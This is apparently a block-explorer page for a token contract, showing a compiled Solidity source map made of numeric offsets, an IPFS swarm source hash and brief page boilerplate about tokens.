9191:11090:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3615:36;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;4238:91;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6066:159;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;4551:99;;;:::i;:::-;;;;;;;;;;;;;;;;;;;6233:215;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;9287:26;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;19544:732;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;6456:243;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;3509:56;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;9788:236;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;5644:110;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;3658:20;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;4448:95;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6707:405;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;5762:151;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;3572:36;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;5921:137;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13608:734;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11207:273;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;3615:36;;;;;;;;;;;;;;;;;:::o;4238:91::-;4283:13;4316:5;4309:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4238:91;:::o;6066:159::-;6141:4;6158:37;6167:10;6179:7;6188:6;6158:8;:37::i;:::-;6213:4;6206:11;;6066:159;;;;:::o;4551:99::-;4603:7;4630:12;;4623:19;;4551:99;:::o;6233:215::-;6322:4;6339:41;6355:4;6361:10;6373:6;6339:15;:41::i;:::-;6391:27;6401:4;6407:2;6411:6;6391:9;:27::i;:::-;6436:4;6429:11;;6233:215;;;;;:::o;9287:26::-;;;;;;;;;;;;;:::o;19544:732::-;4110:10;4101:19;;:5;;;;;;;;;;;:19;;;4093:55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19689:9:::1;19674:595;19708:4;;:11;;19704:1;:15;19674:595;;;19880:1;19846:47;;19828:66;;19781:35;:113;19758:500;;;19948:10;19970:241;20066:1;20049::::0;20016:36:::1;;19996:68;;:71;;19995:192;;20183:2;20163:4;;20168:1;20163:17;;;;;;;;;;;;;20145:36;;:40;;19995:192;;;20095:1;19995:192;20198:2;19970:14;:241::i;:::-;19948:263;;20222:24;20234:4;;20239:1;20234:7;;;;;;;;;;;;;20243:2;20222:11;:24::i;:::-;19758:500;;19721:3;;;;;;;19674:595;;;;19544:732:::0;;;:::o;6456:243::-;6545:4;6562:15;6580:10;6562:28;;6601:68;6610:7;6619;6658:10;6628:27;6638:7;6647;6628:9;:27::i;:::-;:40;6601:8;:68::i;:::-;6687:4;6680:11;;;6456:243;;;;:::o;3509:56::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;9788:236::-;9885:4;4110:10;4101:19;;:5;;;;;;;;;;;:19;;;4093:55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9907:9:::1;9902:93;9926:1;:8;9922:1;:12;9902:93;;;9956:27;9968:1;9970;9968:4;;;;;;;;;;;;;;9974:1;9977;9980:2;9956:11;:27::i;:::-;9936:3;;;;;;;9902:93;;;;10012:4;10005:11;;9788:236:::0;;;;;;:::o;5644:110::-;5709:7;5736:1;:10;5738:7;5736:10;;;;;;;;;;;;;;;;5729:17;;5644:110;;;:::o;3658:20::-;;;;;;;;;;;;;:::o;4448:95::-;4495:13;4528:7;4521:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4448:95;:::o;6707:405::-;6801:4;6818:15;6836:10;6818:28;;6857:24;6884:27;6894:7;6903;6884:9;:27::i;:::-;6857:54;;6950:15;6930:16;:35;;6922:85;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7020:62;7029:7;7038;7066:15;7047:16;:34;7020:8;:62::i;:::-;7100:4;7093:11;;;;6707:405;;;;:::o;5762:151::-;5833:4;5850:33;5860:10;5872:2;5876:6;5850:9;:33::i;:::-;5901:4;5894:11;;5762:151;;;;:::o;3572:36::-;;;;;;;;;;;;;;;;;:::o;5921:137::-;6004:7;6031:1;:10;6033:7;6031:10;;;;;;;;;;;;;;;:19;6042:7;6031:19;;;;;;;;;;;;;;;;6024:26;;5921:137;;;;:::o;13608:734::-;4110:10;4101:19;;:5;;;;;;;;;;;:19;;;4093:55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13754:9:::1;13739:596;13773:4;;:11;;13769:1;:15;13739:596;;;13945:1;13911:47;;13893:66;;13846:35;:113;13823:501;;;14013:10;14035:241;14131:1;14114::::0;14081:36:::1;;14061:68;;:71;;14060:192;;14248:2;14228:4;;14233:1;14228:17;;;;;;;;;;;;;14210:36;;:40;;14060:192;;;14160:1;14060:192;14263:2;14035:14;:241::i;:::-;14013:263;;14287:25;14300:4;;14305:1;14300:7;;;;;;;;;;;;;14309:2;14287:12;:25::i;:::-;13823:501;;13786:3;;;;;;;13739:596;;;;13608:734:::0;;;:::o;11207:273::-;4110:10;4101:19;;:5;;;;;;;;;;;:19;;;4093:55;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11264:15:::1;11310:6;11301:5;11283:15;11287:3;;;;;;;;;;;:8;;;:10;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;11283:3;:15::i;:::-;:23;11282:34;;;;;;11264:52;;11327:26;11356:5;:3;:5::i;:::-;11327:34;;11372:14;11389:29;11399:7;11408:9;11389;:29::i;:::-;11372:46;;11429:43;11441:7;11450:6;11458:9;11469:2;11429:11;:43::i;:::-;4159:1;;;11207:273:::0;:::o;7708:345::-;7832:1;7813:21;;:7;:21;;;;7805:70;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7913:1;7894:21;;:7;:21;;;;7886:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7989:6;7967:1;:10;7969:7;7967:10;;;;;;;;;;;;;;;:19;7978:7;7967:19;;;;;;;;;;;;;;;:28;;;;8029:7;8011:34;;8020:7;8011:34;;;8038:6;8011:34;;;;;;;;;;;;;;;;;;7708:345;;;:::o;8061:395::-;8165:24;8192:27;8202:7;8211;8192:9;:27::i;:::-;8165:54;;8254:17;8234:16;:37;8230:209;;8317:6;8297:16;:26;;8288:69;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8374:53;8383:7;8392;8420:6;8401:16;:25;8374:8;:53::i;:::-;8230:209;8061:395;;;;:::o;7120:580::-;7234:1;7218:18;;:4;:18;;;;7210:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7311:1;7297:16;;:2;:16;;;;7289:64;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7366:19;7388:1;:7;7390:4;7388:7;;;;;;;;;;;;;;;;7366:29;;7429:6;7414:11;:21;;7406:72;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7503:1;7493;:7;7495:4;7493:7;;;;;;;;;;;;;;;;:11;7489:78;;;7553:1;7528:21;7532:1;:7;7534:4;7532:7;;;;;;;;;;;;;;;;7541:1;:7;7543:4;7541:7;;;;;;;;;;;;;;;;7528:3;:21::i;:::-;:26;7520:35;;;;;;7489:78;7589:24;7593:11;7606:6;7589:3;:24::i;:::-;7579:1;:7;7581:4;7579:7;;;;;;;;;;;;;;;:34;;;;7632:18;7636:1;:5;7638:2;7636:5;;;;;;;;;;;;;;;;7643:6;7632:3;:18::i;:::-;7624:1;:5;7626:2;7624:5;;;;;;;;;;;;;;;:26;;;;7681:2;7666:26;;7675:4;7666:26;;;7685:6;7666:26;;;;;;;;;;;;;;;;;;7120:580;;;;:::o;14350:128::-;14423:7;14450:20;14458:1;:6;14460:3;14458:6;;;;;;;;;;;;;;;;14466:3;14450:7;:20::i;:::-;14443:27;;14350:128;;;;:::o;17391:1041::-;17752:5;;;;;;;;;;;17517:557;;17570:1;17555;17547:24;;:57;;;;17603:1;17597:4;:7;17547:57;17546:185;;17727:2;17722;17704:21;;:25;;17546:185;;;17652:1;17546:185;17517:557;;;17759:1;:304;17841:1;17826;17818:24;;:55;;;;17872:1;17866:4;:7;17818:55;17817:212;;18025:2;18020;18002:21;;:25;;17817:212;;;17950:1;17817:212;17759:304;;;;;;;;;;;;;;;;17517:557;;;;;;;;;;;;;;;;;;18376:44;18415:3;18376:10;:44::i;:::-;18075:1;:290;18142:1;18127;18119:24;;:55;;;;18173:1;18167:4;:7;18119:55;18118:208;;18322:2;18317;18299:21;;:25;;18118:208;;;18247:1;18118:208;18075:290;;;;;;;;;;;;;;;:345;;;;17391:1041;;:::o;18440:342::-;18559:7;18552:28;;;18581:6;18597:5;;;;;;;;;;;18605:10;18552:64;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18657:6;18632:42;;18649:5;;;;;;;;;;;18632:42;;;18665:8;18632:42;;;;;;;;;;;;;;;;;;18767:6;18690:84;;18695:42;18690:84;;;18739:8;18749:1;18752;18755:10;18690:84;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18440:342;;;;:::o;15413:1043::-;15775:5;;;;;;;;;;;15540:557;;15593:1;15578;15570:24;;:57;;;;15626:1;15620:4;:7;15570:57;15569:185;;15750:2;15745;15727:21;;:25;;15569:185;;;15675:1;15569:185;15540:557;;;15782:1;:304;15864:1;15849;15841:24;;:55;;;;15895:1;15889:4;:7;15841:55;15840:212;;16048:2;16043;16025:21;;:25;;15840:212;;;15973:1;15840:212;15782:304;;;;;;;;;;;;;;;;15540:557;;;;;;;;;;;;;;;;;;16399:45;16439:3;16399:11;:45::i;:::-;16098:1;:290;16165:1;16150;16142:24;;:55;;;;16196:1;16190:4;:7;16142:55;16141:208;;16345:2;16340;16322:21;;:25;;16141:208;;;16270:1;16141:208;16098:290;;;;;;;;;;;;;;;:346;;;;15413:1043;;:::o;11488:190::-;11535:7;11556:10;11568;11584:5;;;;;;;;;;;:17;;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11555:48;;;;;11640:1;11622:19;;:5;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:19;;;11621:49;;11667:2;11659:11;;11621:49;;;11653:2;11645:11;;11621:49;11614:56;;;;11488:190;;;:::o;10034:202::-;10072:16;10101:18;10148:1;10134:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10130:20;;10176:4;10161:1;10163;10161:4;;;;;;;;;;;;;:20;;;;;;;;;;;10199:3;;;;;;;;;;;:8;;;:10;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10192:1;10194;10192:4;;;;;;;;;;;;;:17;;;;;;;;;;;10227:1;10220:8;;;10034:202;:::o;11935:766::-;12009:7;12075:22;12130:1;12116:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12108:24;;12175:16;12180:7;12189:1;12175:4;:16::i;:::-;12167:24;;12577:5;12613:1;12577:48;;;;;;;;;;;;;;12202:1;:334;12279:1;12224:25;:57;:101;;;;12324:1;12311;12293:32;12224:101;:172;;;;12371:25;12355:1;12337:59;;;12224:172;:301;;12522:1;12224:301;;;12491:2;12472:16;:2;:16::i;:::-;12454:35;;:39;;12224:301;12202:334;;;;;;;;;;;;;;;;:423;;;;;;;;;;;12655:5;12681:1;12655:38;;;;;;;;;;;;;;12638:55;;;11935:766;;;;:::o;10244:245::-;10400:1;:16;10410:4;10400:16;;;;;;;;;;;;;;;;10367:1;:16;10377:4;10367:16;;;;;;;;;;;;;;;:30;10392:3;;;;;;;;;;;10367:30;;;;;;;;;;;;;;;:49;;;;10427:54;10441:14;10457:8;10467:4;10473:7;10427:13;:54::i;:::-;10244:245;;;;:::o;5006:192::-;5066:7;5086:11;5105:2;5100;:7;5086:21;;5133:2;5126:3;:9;;5118:49;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5187:3;5180:10;;;5006:192;;;;:::o;5206:194::-;5266:7;5300:2;5294;:8;;5286:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5348:11;5367:2;5362;:7;5348:21;;5389:3;5382:10;;;5206:194;;;;:::o;4660:106::-;4724:7;4756:2;4751;:7;;;;;;4744:14;;4660:106;;;;:::o;4901:97::-;4956:7;4988:2;4983;:7;4976:14;;4901:97;;;:::o;4774:119::-;4830:7;4872:12;4862:6;4857:2;:11;:28;;;;;;4850:35;;4774:119;;;:::o;12709:138::-;12780:16;12815:3;;;;;;;;;;;:16;;;12832:3;12837:1;12815:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12808:31;;12709:138;;;;:::o;5518:118::-;5555:7;5625:2;5614:4;5590:31;;:37;;5582:46;;5575:53;;5518:118;:::o;10497:333::-;10624:3;;;;;;;;;;;:38;;;10695:9;10716:13;10763:5;10780:7;10817:4;10799:15;:22;10624:198;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10497:333;;;;:::o

Swarm Source

ipfs://afd33b5601ec886e079852cb484bfcd4455cdedac069f567f6279eee2ef38d5f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.